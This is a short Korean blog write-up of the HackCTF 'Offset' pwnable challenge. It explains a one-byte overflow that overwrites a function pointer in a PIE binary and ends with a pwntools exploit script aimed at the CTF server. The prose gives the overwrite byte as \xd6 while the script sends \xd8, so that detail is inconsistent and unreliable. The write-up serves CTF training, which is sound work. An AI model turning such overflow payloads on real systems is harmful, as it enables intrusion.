HackCTF/pwnable

HackCTF - Offset

shinobu 2021. 11. 21. 13:45

 

이번에는 PIE가 걸려있다

 

main

gets 함수가 쓰이긴하는데 중요하지 않다

 

select_func

함수 이름부터 수상하다

 

strcmp 로 1바이트 오버플로우가 발생한다

 

gdb 로 strcmp 까지 확인해보면

 

빨간칸에 있는게 30개이고 나머지 한 바이트를 \xd6으로 바꾸면 0x56555600이 0x565556d6으로 

바껴 플래그가 출력 될 것이다

 

from pwn import *

r = remote('ctf.j0n9hyun.xyz', 3007)
e = ELF('offset')

payload = 'a'*30
payload += '\xd8'

r.sendline(payload)

r.interactive()